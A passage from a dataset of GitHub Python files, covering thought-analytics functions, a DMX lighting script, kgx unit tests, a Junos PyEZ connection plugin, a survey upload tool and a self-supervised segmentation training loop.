thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n data = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age'] == age]\n lengths = [len(e['content'].split(' ')) / 130 *\n 60 for e in thoughts if e['modality'] == 'text']\n data[age] = np.mean(lengths)\n\n return data\n\n\ndef conciseness_distribution_over_past_month():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if int(\n (now() - e['timestamp']) / (60 * 60 * 24 * 30)) < 1]\n data = [len(e['content'].split(' ')) / 130 *\n 60 for e in thoughts if e['modality'] == 'text']\n return data\n\n\ndef readability_per_week():\n conceptarium = st.session_state.conceptarium_json\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n data = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age']\n == age and e['modality'] == 'text']\n text = ' '.join([e['content'] for e in thoughts])\n blob = TextBlob(text)\n asl = len(blob.words) / len(blob.sentences)\n asw = np.mean([syllable_count(e) for e in text.split(\n ' ') if len(re.split(r'[.!?]+', e)) == 1 and len(e) > 0])\n data[age] = 0.39 * asl + 11.8 * asw - 15.59\n\n return data\n\n\ndef readability_distribution_over_past_month():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if int(\n (now() - e['timestamp']) / (60 * 60 * 24 * 30)) < 1 and e['modality'] == 'text']\n data = [0] * len(thoughts)\n\n for thought_idx, thought in enumerate(thoughts):\n text = thought['content']\n blob = TextBlob(text)\n asl = len(blob.words) / len(blob.sentences)\n asw = np.mean([syllable_count(e) for e in text.split(\n ' ') if len(re.split(r'[.!?]+', e)) == 1 and len(e) > 0])\n data[thought_idx] = 0.39 * asl + 11.8 * asw - 15.59\n\n return data\n\n\ndef objectivity_per_week():\n conceptarium = st.session_state.conceptarium_json\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n data = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age']\n == age and e['modality'] == 'text']\n text = TextBlob(' '.join([e['content'] for e in thoughts]))\n data[age] = 1 - text.sentiment[1]\n\n return data\n\n\ndef objectivity_distribution_over_past_month():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if int(\n (now() - e['timestamp']) / (60 * 60 * 24 * 30)) < 1 and e['modality'] == 'text']\n data = [0] * len(thoughts)\n\n for thought_idx, thought in enumerate(thoughts):\n text = TextBlob(thought['content'])\n data[thought_idx] = 1 - text.sentiment[1]\n\n return data\n\n\ndef sentiment_per_week():\n conceptarium = st.session_state.conceptarium_json\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n data = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age']\n == age and e['modality'] == 'text']\n text = TextBlob(' '.join([e['content'] for e in thoughts]))\n data[age] = text.sentiment[0]\n\n return data\n\n\ndef sentiment_distribution_over_past_month():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if int(\n (now() - e['timestamp']) / (60 * 60 * 24 * 30)) < 1 and e['modality'] == 'text']\n data = [0] * len(thoughts)\n\n for thought_idx, thought in enumerate(thoughts):\n text = TextBlob(thought['content'])\n data[thought_idx] = text.sentiment[0]\n\n return data\n\n\ndef interests():\n conceptarium = st.session_state.conceptarium_json\n text_thoughts = [\n e for e in conceptarium if e['modality'] == 'text']\n text_thoughts = sorted(text_thoughts, key=lambda x: x['timestamp'])\n text = ' '.join([e['content'] for e in text_thoughts])\n text = TextBlob(text.lower())\n keywords = text.noun_phrases\n keywords = [e.singularize() for e in keywords]\n keywords = Counter(keywords)\n keywords = [e for e in keywords.keys() if keywords[e] > 2]\n data = pd.DataFrame(columns=['keyword', 'start', 'end', 'count'])\n\n for keyword in keywords:\n instances = [e for e in text_thoughts if keyword in e['content']]\n if len(instances) > 0:\n start = datetime.fromtimestamp(\n instances[0]['timestamp']).strftime('%Y-%m-%d')\n end = datetime.fromtimestamp(\n instances[-1]['timestamp']).strftime('%Y-%m-%d')\n if start == end:\n end = datetime.fromtimestamp(\n instances[-1]['timestamp'] + (60 * 60 * 24)).strftime('%Y-%m-%d')\n data.loc[len(data.index)] = [keyword, start, end, len(instances)]\n\n data = data.sort_values(by='start')\n return data\n\n\ndef projection_2d():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if e['modality'] == 'text']\n embeddings = [e['embedding'] for e in thoughts]\n reducer = TSNE(2)\n embeddings_2d = reducer.fit_transform(embeddings)\n data = [[*emb, thoughts[emb_idx]['modality']]\n for emb_idx, emb in enumerate(embeddings_2d)]\n data = [e + ['*image*'] if e[2] == 'image' else e +\n [thoughts[e_idx]['content']] for e_idx, e in enumerate(data)]\n data = pd.DataFrame(data, columns=['x', 'y', 'modality', 'content'])\n data.content = data.content.str.wrap(40)\n data.content = data.content.apply(lambda x: x.replace('\\n', '
'))\n return data\n\n\ndef projection_3d():\n conceptarium = st.session_state.conceptarium_json\n thoughts = [e for e in conceptarium if e['modality'] == 'text']\n embeddings = [e['embedding'] for e in thoughts]\n reducer = TSNE(3)\n embeddings_3d = reducer.fit_transform(embeddings)\n data = [[*emb, thoughts[emb_idx]['modality']]\n for emb_idx, emb in enumerate(embeddings_3d)]\n data = [e + ['*image*'] if conceptarium[e_idx]['modality'] ==\n 'image' else e + [thoughts[e_idx]['content']] for e_idx, e in enumerate(data)]\n data = [e + [3] for e in data]\n data = pd.DataFrame(\n data, columns=['x', 'y', 'z', 'modality', 'content', 'size'])\n data.content = data.content.str.wrap(40)\n data.content = data.content.apply(lambda x: x.replace('\\n', '
'))\n return data\n\n\ndef energy_spectrum():\n conceptarium = st.session_state.conceptarium_json\n embeddings = [e['embedding'] for e in conceptarium]\n reducer = PCA(20)\n embeddings = reducer.fit_transform(embeddings)\n data = reducer.explained_variance_ratio_\n return data\n\n\ndef explored_portion_of_semantic_space():\n n_probes = 500000\n hits = 0\n\n conceptarium = st.session_state.conceptarium_json\n probes = sample_spherical(n_probes, 512)\n embeddings = np.array([e['embedding'] for e in conceptarium])\n similarities = np.dot(probes, embeddings.T)\n max_similarities = np.max(similarities, axis=1)\n hits = np.count_nonzero(max_similarities > 0.19)\n\n hitrate = hits / n_probes\n data = pd.DataFrame(\n [['explored', hitrate], ['unexplored', 1 - hitrate]], columns=['name', 'value'])\n return data\n\n\ndef discovery_per_thought(explored_portion):\n conceptarium = st.session_state.conceptarium_json\n data = explored_portion / len(conceptarium)\n return data\n\n\ndef conceptarium_age():\n conceptarium = st.session_state.conceptarium_json\n conceptarium = sorted(conceptarium, key=lambda x: x['timestamp'])\n age = (now() - conceptarium[0]['timestamp']) / (60 * 60 * 24 * 365)\n return age\n","repo_name":"paulbricman/ideoscope","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":18662,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"54"} +{"seq_id":"33381023840","text":"#!/usr/bin/python\nimport os\nimport sys\nimport array\nimport string\nfrom ola.ClientWrapper import ClientWrapper\n\nwrapper = None\ndim = False\ndimTick = 0\ndimTime = 0\nnumTicks = 0\n\n# Wrapper callback\ndef DmxSent(state):\n # Stop on errors\n if not state.Succeeded():\n wrapper.Stop()\n \n # Only run one command if we're setting\n if not dim:\n wrapper.Stop()\n \n # Stop when we're done dimming\n if dim and dimTick >= numTicks:\n wrapper.Stop()\n\n# Pick a universe (0, or as specified in the environment)\nuniverse = 0\nif 'UNIVERSE' in os.environ:\n universe = int(os.environ['UNIVERSE'])\n\n# Pick a tick interval (50ms, or as specified in the environment)\ninterval = 50\nif 'INTERVAL' in os.environ:\n universe = int(os.environ['INTERVAL'])\n\n# Choose direct-set or dimming\ndim = False\nif 'dim' in string.lower(sys.argv[0]):\n dim = True\n\n# If we are dimming, parse the command line into 3-part blocks\n# Otherwise just collect the intensities directly\ncmdData = [];\nif dim:\n dimTime = int(sys.argv[1])\n numTicks = dimTime / interval\n\n for i in range(2, len(sys.argv), 2):\n dimData = array.array('I')\n dimData.append(int(sys.argv[i]))\n dimData.append(int(sys.argv[i + 1]))\n cmdData.append(dimData)\nelse:\n for i in range(1, len(sys.argv)):\n cmdData.append(int(sys.argv[i]))\n\ndef SendDMXFrame():\n # Re-schedule ourselves in interval ms (do this first to keep the timing consistent)\n if dim:\n wrapper.AddEvent(interval, SendDMXFrame)\n \n # Eventually we need an array of intesnty bytes for each channel\n data = array.array('B')\n\n # Calculate intensities\n if dim:\n global dimTick\n dimTick += 1\n \n for i in cmdData:\n totalRange = i[1] - i[0]\n delta = float(totalRange) / float(numTicks) * float(dimTick)\n data.append(int(i[0] + delta))\n\n else:\n # Copy each intensity level from the command line\n for i in cmdData:\n data.append(i)\n \n # Send\n wrapper.Client().SendDmx(universe, data, DmxSent)\n\n# Send the DMX command\nwrapper = ClientWrapper()\nwrapper.AddEvent(interval, SendDMXFrame)\nwrapper.Run()\n","repo_name":"profplump/UberZach-Integration","sub_path":"dmx/setChannels.py","file_name":"setChannels.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"27644036568","text":"import pytest\nfrom bmt import Toolkit\n\nfrom kgx.curie_lookup_service import CurieLookupService\nfrom kgx.utils.kgx_utils import get_toolkit, get_curie_lookup_service, get_prefix_prioritization_map, \\\n get_biolink_element, get_biolink_ancestors, generate_edge_key, contract, expand, camelcase_to_sentencecase, \\\n snakecase_to_sentencecase, sentencecase_to_snakecase, sentencecase_to_camelcase\n\n\ndef test_get_toolkit():\n tk = get_toolkit()\n assert isinstance(tk, Toolkit)\n\n\ndef test_get_curie_lookup_service():\n cls = get_curie_lookup_service()\n assert isinstance(cls, CurieLookupService)\n\n\ndef test_get_prefix_prioritization_map():\n prioritization_map = get_prefix_prioritization_map()\n assert 'biolink:Gene' in prioritization_map.keys()\n assert 'biolink:Protein' in prioritization_map.keys()\n assert 'biolink:Disease' in prioritization_map.keys()\n\n\ndef test_get_biolink_element():\n # TODO: Parameterize\n element1 = get_biolink_element('gene')\n assert element1 is not None\n assert element1.name == 'gene'\n\n element2 = get_biolink_element('biolink:Gene')\n assert element2 is not None\n assert element2 == element1\n\n\ndef test_get_biolink_ancestors():\n # TODO: Parameterize\n ancestors1 = get_biolink_ancestors('phenotypic feature')\n assert ancestors1 is not None\n assert len(ancestors1) == 4\n\n\ndef test_generate_edge_key():\n key = generate_edge_key('S:CURIE', 'related_to', 'O:CURIE')\n assert key == 'S:CURIE-related_to-O:CURIE'\n\n\ndef test_camelcase_to_sentencecase():\n s = camelcase_to_sentencecase('NamedThing')\n assert s == 'named thing'\n\n\ndef test_snakecase_to_sentencecase():\n s = snakecase_to_sentencecase('named_thing')\n assert s == 'named thing'\n\n\ndef test_sentencecase_to_snakecase():\n s = sentencecase_to_snakecase('named thing')\n assert s == 'named_thing'\n\n\ndef test_sentencecase_to_camelcase():\n s = sentencecase_to_camelcase('named thing')\n assert s == 'NamedThing'\n\n\n@pytest.mark.parametrize(\"query\", [\n ('HGNC:11603', 'http://www.genenames.org/cgi-bin/gene_symbol_report?hgnc_id=11603', 'https://identifiers.org/hgnc:11603')\n])\ndef test_contract(query):\n curie = contract(query[1], prefix_maps=None, fallback=True)\n # get the CURIE\n assert curie == query[0]\n\n # provide custom prefix_maps, with fallback\n curie = contract(query[2], prefix_maps=[{'HGNC': 'https://identifiers.org/hgnc:'}], fallback=True)\n # get the CURIE\n assert curie == query[0]\n\n # provide custom prefix_maps, but no fallback\n curie = contract(query[2], prefix_maps=[{'HGNC': 'https://identifiers.org/hgnc:'}], fallback=False)\n # get the CURIE\n assert curie == query[0]\n\n # provide no prefix_maps, and no fallback\n curie = contract(query[2], prefix_maps=None, fallback=False)\n # get back the IRI\n assert curie == query[2]\n\n\n@pytest.mark.parametrize(\"query\", [\n ('HGNC:11603', 'http://www.genenames.org/cgi-bin/gene_symbol_report?hgnc_id=11603', 'https://identifiers.org/hgnc:11603')\n])\ndef test_expand(query):\n iri = expand(query[0], prefix_maps=None, fallback=True)\n # get the IRI\n assert iri == query[1]\n\n # provide custom prefix_maps, with fallback\n iri = expand(query[0], prefix_maps=[{'HGNC': 'https://identifiers.org/hgnc:'}], fallback=True)\n # get the alternate IRI\n assert iri == query[2]\n\n # provide custom prefix_maps, but no fallback\n iri = expand(query[0], prefix_maps=[{'hgnc': 'https://example.org/hgnc:'}], fallback=False)\n # get back the CURIE\n assert iri == query[0]\n\n # provide no prefix_maps, and no fallback\n iri = expand(query[0], prefix_maps=None, fallback=False)\n # get the IRI\n assert iri == query[1]\n\n","repo_name":"vemonet/kgx","sub_path":"tests/unit/test_kgx_utils.py","file_name":"test_kgx_utils.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"4218467468","text":"# -*- coding: utf-8 -*-\n# cSpell: words\n\nimport inspect\nimport pathlib\nfrom .fs import Directory, Path\n\n\nclass IconAsset:\n def __init__(self, path):\n self.path = Path(path)\n\n # os.PathLike implementation\n def __fspath__(self):\n return self.path.fspath \n\n\nclass Assets:\n '''The library bundled assets'''\n _directory = None\n\n @classmethod\n def _init(cls):\n frame = inspect.currentframe()\n assert frame is not None\n p = pathlib.Path(inspect.getframeinfo(frame).filename).resolve().parent.parent.parent.parent.joinpath('assets')\n cls._directory = Directory(p, must_exist=True, create_if_needed=False)\n\n @classmethod\n def get_icon(cls, icon_name: str) -> IconAsset:\n return IconAsset(Path([cls._directory, f'{icon_name}.png']))\n\n\nAssets._init() # pylint: disable=protected-access\n","repo_name":"mkakabaev/mk-scripts","sub_path":"python/mk/core/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28166335032","text":"\"\"\"\nGiven a list of integers numbers \"nums\".\n\nYou need to find a sub-array with length less equal to \"k\", with maximal sum.\n\nThe written function should return the sum of this sub-array.\n\nExamples:\n nums = [1, 3, -1, -3, 5, 3, 6, 7], k = 3\n result = 16\n\"\"\"\nfrom typing import List\n\nnums = [1, 3, -1, -3, 5, 3, 6, 7]\nk = 0\n\n\ndef find_maximal_subarray_sum(nums: List[int], k: int) -> int:\n max_subarray = -1\n list_of_summ_subarray = list()\n\n if k > 0:\n while k != 0:\n for i in range(0, len(nums) - k + 1):\n summ = 0\n list_of_summ_subarray.append(\n sum([summ + nums[j + i] for j in range(0, k)])\n )\n k = k - 1\n max_subarray = max(list_of_summ_subarray)\n return max_subarray\n\n\nprint(find_maximal_subarray_sum(nums, k))\n","repo_name":"AGolobokov/epamRepo","sub_path":"homework1/other_tasks/tasks/task05.py","file_name":"task05.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8698151360","text":"from typing import Any, Dict, Optional\n\nfrom jnpr.junos import Device\n\nfrom nornir.core.configuration import Config\n\nCONNECTION_NAME = \"pyez\"\n\n\nclass Pyez:\n def open(\n self,\n hostname: Optional[str],\n username: Optional[str],\n password: Optional[str],\n port: Optional[int],\n platform: Optional[str],\n extras: Optional[Dict[str, Any]] = None,\n configuration: Optional[Config] = None,\n ) -> None:\n extras = extras or {}\n if not port:\n port = 830\n parameters: Dict[str, Any] = {\n \"host\": hostname,\n \"user\": username,\n \"password\": password,\n \"port\": port,\n \"conn_timeout\": extras[\"conn_timeout\"] if \"conn_timeout\" in extras.keys() else None,\n \"rpc_timeout\": extras[\"rpc_timeout\"] if \"rpc_timeout\" in extras.keys() else None,\n \"optional_args\": {},\n \"ssh_config\": extras[\"ssh_config\"] if \"ssh_config\" in extras.keys() else None,\n \"ssh_private_key_file\": extras[\"ssh_private_key_file\"] if \"ssh_private_key_file\" in extras.keys() else None,\n }\n\n connection = Device(**parameters)\n\n if parameters[\"conn_timeout\"]:\n connection.open(auto_probe=parameters[\"conn_timeout\"])\n else:\n connection.open()\n \n if parameters[\"rpc_timeout\"]:\n connection.timeout = parameters[\"rpc_timeout\"]\n else:\n connection.timeout = 300\n \n self.connection = connection\n\n def close(self) -> None:\n self.connection.close()\n","repo_name":"DataKnox/nornir_pyez","sub_path":"nornir_pyez/plugins/connections/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"54"} +{"seq_id":"26020890625","text":"\"\"\"\nDownload a survey def including history\n\"\"\"\nimport os\nimport json\nimport argparse\nfrom influenzanet.api import ManagementAPIClient\nfrom utils import read_yaml, should_use_external_idp\n\n\ndef read_survey_json(path):\n survey_def = json.load(open(path, 'r', encoding='UTF-8'))\n return survey_def\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--global_config_yaml\", help=\"global configuration file path\", default=os.path.join('resources', 'config.yaml'))\n parser.add_argument(\n \"--study_key\", help=\"study key to which study the survey should be saved\", required=True)\n parser.add_argument(\n \"--survey_json\", help=\"path to the survey json\", required=True)\n\n args = parser.parse_args()\n\n configs = read_yaml(\n args.global_config_yaml)\n user_credentials = configs[\"user_credentials\"]\n management_api_url = configs[\"management_api_url\"]\n use_external_idp = should_use_external_idp(configs)\n\n value = input(\n 'This will override any existing survey versions with the same key in the database. Continue? (yes/no)')\n if value != \"yes\":\n print(\"Abort\")\n exit()\n\n study_key = args.study_key\n survey_path = args.survey_json\n\n client = ManagementAPIClient(\n management_api_url, user_credentials, use_external_idp=use_external_idp)\n\n survey_def = read_survey_json(survey_path)\n\n survey_def = {\n \"survey\": survey_def\n }\n\n survey_key = survey_def['surveyDefinition']['key']\n survey_def['studyKey'] = study_key\n\n if \"id\" in survey_def[\"survey\"].keys():\n del survey_def[\"survey\"][\"id\"]\n\n client.save_survey_to_study(study_key, survey_def)\n","repo_name":"tekenradar/python-tools","sub_path":"management-api-scripts/run_survey_def_upload.py","file_name":"run_survey_def_upload.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31497383615","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\nimport glob\nimport datetime\nimport random\nimport ast\n\nfrom vision_parser import VisionParser\nfrom dataloader import ADE20k_Dataset, PascalVOC\nfrom utils import color_distortion, calculate_iou, k_means, sobel_filter\n\nfrom scipy.optimize import linear_sum_assignment\n\nimport wandb\n\nfrom absl import flags, app\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string('exp','test','')\nflags.DEFINE_string('dataset','pascal','pascal,ade')\nflags.DEFINE_string('root_dir','/home/petrus/','')\nflags.DEFINE_integer('num_workers',4,'')\nflags.DEFINE_integer('batch_size',128,'')\nflags.DEFINE_float('lr',0.001,'')\nflags.DEFINE_integer('image_size',256,'')\nflags.DEFINE_integer('embd_dim',512,'')\nflags.DEFINE_integer('num_crops',5,'')\nflags.DEFINE_float('min_crop',0.75,'')\nflags.DEFINE_float('max_crop',0.95,'')\nflags.DEFINE_float('color_aug',0.8,'')\nflags.DEFINE_bool('main_aug',False,'')\n\nflags.DEFINE_float('epsilon',0.001,'')\nflags.DEFINE_float('temperature',0.1,'')\nflags.DEFINE_float('cl_margin',0.4,'')\nflags.DEFINE_float('cr_margin',0.4,'')\n\nflags.DEFINE_float('sobel_mag_thresh',0.14,'')\nflags.DEFINE_float('sobel_pix_thresh',0.2,'')\n\nflags.DEFINE_integer('num_prototypes',150,'')\nflags.DEFINE_integer('min_pts',20,'')\nflags.DEFINE_integer('min_samples',5,'')\nflags.DEFINE_float('max_clust_size',0.2,'')\nflags.DEFINE_string('selection_method','eom','')\nflags.DEFINE_float('frac_per_img',0.1,'')\nflags.DEFINE_string('cluster_metric','cosine','')\nflags.DEFINE_bool('update_b4_crop',False,'')\nflags.DEFINE_float('noise_coeff',0.,'')\nflags.DEFINE_float('cl_coeff',3,'')\n\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\n\ndef main(argv):\n start = datetime.datetime.now()\n\n wandb.init(project=\"VisionParser\",name=FLAGS.exp)\n wandb.save(\"train.py\")\n wandb.save(\"vision_parser.py\")\n wandb.save(\"dataloader.py\")\n wandb.save(\"utils.py\")\n wandb.config.update(flags.FLAGS)\n\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = True\n\n if FLAGS.dataset == 'ade':\n all_images = glob.glob(FLAGS.root_dir+\"ADE20K/images/ADE/training/work_place/*/*.jpg\")\n random.seed(7)\n random.shuffle(all_images)\n train_images = all_images[:-300]\n val_images = all_images[-300:]\n\n training_set = ADE20k_Dataset(train_images)\n training_generator = torch.utils.data.DataLoader(training_set, batch_size=None, shuffle=True, num_workers=FLAGS.num_workers)\n\n validation_set = ADE20k_Dataset(val_images)\n validation_generator = torch.utils.data.DataLoader(validation_set, batch_size=None, shuffle=True, num_workers=FLAGS.num_workers)\n\n elif FLAGS.dataset == 'pascal':\n all_images = glob.glob(FLAGS.root_dir+\"VOCdevkit/VOC2012/trainval/trainval/*.mat\")\n random.seed(7)\n random.shuffle(all_images)\n train_images = all_images[:-300]\n val_images = all_images[-300:]\n\n training_set = PascalVOC(train_images)\n training_generator = torch.utils.data.DataLoader(training_set, batch_size=None, shuffle=True, num_workers=FLAGS.num_workers)\n\n validation_set = PascalVOC(val_images)\n validation_generator = torch.utils.data.DataLoader(validation_set, batch_size=None, shuffle=True, num_workers=FLAGS.num_workers)\n\n\n print(\"Num train images:\",len(train_images))\n print(\"Num val images:\",len(val_images))\n\n color_aug = color_distortion()\n\n model = VisionParser()\n optimizer = torch.optim.Adam(model.parameters(), lr=FLAGS.lr)\n\n model.to('cuda')\n \n print((datetime.datetime.now()-start).total_seconds())\n min_loss = 100.\n total_loss = 0.\n step_loss = 0.\n train_iter = 0\n for epoch in range(15):\n model.train()\n # Set optimzer gradients to zero\n optimizer.zero_grad()\n for frames_load in training_generator:\n #with torch.autograd.detect_anomaly():\n if FLAGS.main_aug:\n image_batch = [color_aug(img.to('cuda')) for img in frames_load[0]]\n else:\n image_batch = [frames_load[0][0].to('cuda')] + [color_aug(img.to('cuda')) for img in frames_load[0][1:]]\n\n crop_dims = frames_load[1]\n\n main_features = model.extract_feature_map(image_batch[0])\n embds = main_features.movedim(1,3).reshape(-1, FLAGS.embd_dim)\n\n sampled_indices = torch.randint(32*32,(FLAGS.batch_size, int(FLAGS.frac_per_img*32*32)),device=torch.device('cuda'))\n sampled_mask = torch.scatter(torch.zeros(FLAGS.batch_size,32*32,dtype=torch.long,device=torch.device('cuda')), 1, sampled_indices, 1).reshape(-1).bool() # (N,)\n\n sobel_mask = sobel_filter(image_batch[0]) # N\n final_mask = sobel_mask & sampled_mask\n embds = embds[final_mask]\n norm_embds = F.normalize(embds)\n with torch.no_grad():\n if FLAGS.cluster_metric == 'euc':\n dists = torch.cdist(embds.unsqueeze(0),embds.unsqueeze(0))[0]**2\n elif FLAGS.cluster_metric == 'cosine':\n dists = 1 - norm_embds @ norm_embds.T\n\n cl_labels, cl_probs = model.cluster_features(dists.cpu().numpy().astype(np.float64)) # (M/N,) (M/N,)\n cl,clust_freqs = np.unique(cl_labels, return_counts=True) # (K+1,), (K+1,)\n cl_mask = torch.tensor(cl_labels != -1, device=torch.device('cuda'))\n assert cl[0] == -1\n\n cl_labels = torch.tensor(cl_labels,device=torch.device('cuda'))\n proto_sims = norm_embds[cl_mask] @ model.prototypes.T # (M/N, num_prototypes)\n mean_sims = torch.scatter_add(torch.zeros(len(cl)-1,FLAGS.num_prototypes,device=torch.device('cuda')),0, \\\n cl_labels[cl_labels != -1][:,None].tile(1,FLAGS.num_prototypes),proto_sims) / \\\n torch.tensor(clust_freqs[1:,None],device=torch.device('cuda')) # (K,num_prototypes)\n\n if FLAGS.noise_coeff > 0:\n with torch.no_grad():\n noise_sims = norm_embds[cl_labels == -1] @ model.prototypes.T # (num_noise,num_prototypes)\n noise_idxs = noise_sims.argmax(dim=1) # (num_noise,)\n cl_labels.scatter_(0,(cl_labels==-1).nonzero().reshape(-1),-noise_idxs-2)\n\n row_ind,col_ind = linear_sum_assignment(-mean_sims.detach().cpu().numpy())\n col_ind = torch.tensor(col_ind,device=torch.device('cuda')) # (K,)|num_prototypes|\n if FLAGS.cl_margin > 0.:\n pos_mask = torch.scatter(torch.zeros(mean_sims.shape[0],mean_sims.shape[1],device=torch.device('cuda')),1,col_ind[:,None],1.)\n arc_sims = torch.where(pos_mask==1., torch.cos(torch.acos(mean_sims.clamp(min=-0.999)-0.001)+FLAGS.cl_margin), mean_sims)\n cl_loss = F.cross_entropy(arc_sims/FLAGS.temperature, col_ind)\n else:\n cl_loss = F.cross_entropy(mean_sims/FLAGS.temperature, col_ind)\n\n (FLAGS.cl_coeff*cl_loss).backward()\n\n if FLAGS.update_b4_crop:\n optimizer.step()\n optimizer.zero_grad()\n\n cl_idxs = torch.scatter(-2*torch.ones(final_mask.shape[0],dtype=torch.long,device=torch.device('cuda')), 0, final_mask.nonzero().reshape(-1), cl_labels) # (N,)\n\n noise_fracs = (cl_idxs.reshape(FLAGS.batch_size,32*32) < -1).sum(1) / (32*32)\n \n for cr_img,cr_dims in zip(image_batch[1:],crop_dims):\n crop_features = model.extract_feature_map(cr_img)\n crop_features = F.normalize(crop_features)\n \n norm_features,crop_idxs = model.mask_crop_feats(crop_features,cr_dims,cl_idxs) # (M'/N,D), (M'/N,)|K|\n cr_features = norm_features[crop_idxs > -1]\n p_idxs = crop_idxs[crop_idxs > -1]\n cr_cl,cr_freqs = torch.unique(p_idxs,return_counts=True) # (K',), (K',)\n cr_ind = torch.gather(col_ind,0,cr_cl) # (K',)|num_prototypes|\n \n cr_sims = cr_features @ model.prototypes.T # (M'/N, num_prototypes)\n\n sum_sims = torch.scatter_add(torch.zeros(len(clust_freqs)-1,FLAGS.num_prototypes,device=torch.device('cuda')),0, \\\n p_idxs[:,None].tile(1,FLAGS.num_prototypes),cr_sims) # (K,num_prototypes)\n sum_sims = torch.index_select(sum_sims,0,cr_cl) # (K',num_prototypes)\n mean_sims = sum_sims / cr_freqs[:,None] # (K',num_prototypes)\n\n if FLAGS.cr_margin > 0.:\n pos_mask = torch.scatter(torch.zeros(mean_sims.shape[0],mean_sims.shape[1],device=torch.device('cuda')),1,cr_ind[:,None],1.)\n arc_sims = torch.where(pos_mask==1., torch.cos(torch.acos(mean_sims.clamp(min=-0.999)-0.001)+FLAGS.cr_margin), mean_sims)\n crop_loss = F.cross_entropy(arc_sims/FLAGS.temperature, cr_ind)\n else:\n crop_loss = F.cross_entropy(mean_sims/FLAGS.temperature, cr_ind)\n\n\n if FLAGS.noise_coeff > 0.:\n noise_idxs = -crop_idxs[crop_idxs < -1] - 2 # (num_noise',)|num_prototypes|\n noise_features = norm_features[crop_idxs < -1] # (num_noise',embd_dim)\n noise_sims = noise_features @ model.prototypes.T # (num_noise',num_prototypes)\n\n noise_loss = F.cross_entropy(noise_sims/FLAGS.temperature, noise_idxs)\n else:\n noise_loss = 0.\n\n final_crop_loss = crop_loss + FLAGS.noise_coeff*noise_loss\n final_crop_loss.backward()\n\n log_dict = {\"Epoch\":epoch, \"Iter\":train_iter, \"CL Loss\": cl_loss, \"Crop Loss\": crop_loss, \"Noise Loss\": noise_loss, \\\n \"Frac Masked\": 1-sobel_mask.sum()/sobel_mask.shape[0], \"Crop Frac Masked\": 1-p_idxs.shape[0]/sobel_mask.shape[0], \\\n \"Total Masked\": 1-final_mask.sum()/final_mask.shape[0], \"Avg Cluster Probability\": cl_probs[cl_probs != 0].mean(), \\\n \"Frac Noise Pts\": clust_freqs[0]/cl_probs.shape[0], \"Num Clusters\": len(clust_freqs)-1, \\\n \"Min Clust\": clust_freqs[1:].min()/clust_freqs[1:].sum(), \"Max Clust\": clust_freqs[1:].max()/clust_freqs[1:].sum(), \\\n \"Min Noise Pts\": noise_fracs.min(), \"Max Noise Pts\": noise_fracs.max(), \"Num Noise Images\": (noise_fracs == 1.).sum()}\n \n grad_norm = torch.nn.utils.clip_grad_norm_(model.parameters(), 10000.)\n log_dict[\"Grad Norm\"] = grad_norm\n\n optimizer.step()\n optimizer.zero_grad()\n\n '''if train_iter % 20 == 0:\n with torch.no_grad():\n #num_embds_per_cluster = max_cluster_mask.sum((0,2,3))\n\n annots = frames_load[2]\n miou, num_ious = calculate_iou(max_cluster_mask.to('cpu'), annots)\n\n log_dict['MIOU'] = miou\n log_dict['Num IOUS'] = num_ious'''\n\n \n train_iter += 1\n\n if train_iter % 10 == 0 or train_iter < 20:\n print(log_dict)\n\n wandb.log(log_dict)\n\n if train_iter == 600:\n for g in optimizer.param_groups:\n g['lr'] /= 10\n\n with torch.no_grad():\n val_iter = 0\n total_cl_loss = 0.\n total_cr_loss = 0.\n losses_k = [0.,0.,0.,0.]\n total_miou = 0\n total_num_ious = 0\n for frames_load in validation_generator:\n if FLAGS.main_aug:\n image_batch = [color_aug(img.to('cuda')) for img in frames_load[0]]\n else:\n image_batch = [frames_load[0][0].to('cuda')] + [color_aug(img.to('cuda')) for img in frames_load[0][1:]]\n\n crop_dims = frames_load[1]\n main_features = model.extract_feature_map(image_batch[0])\n embds = 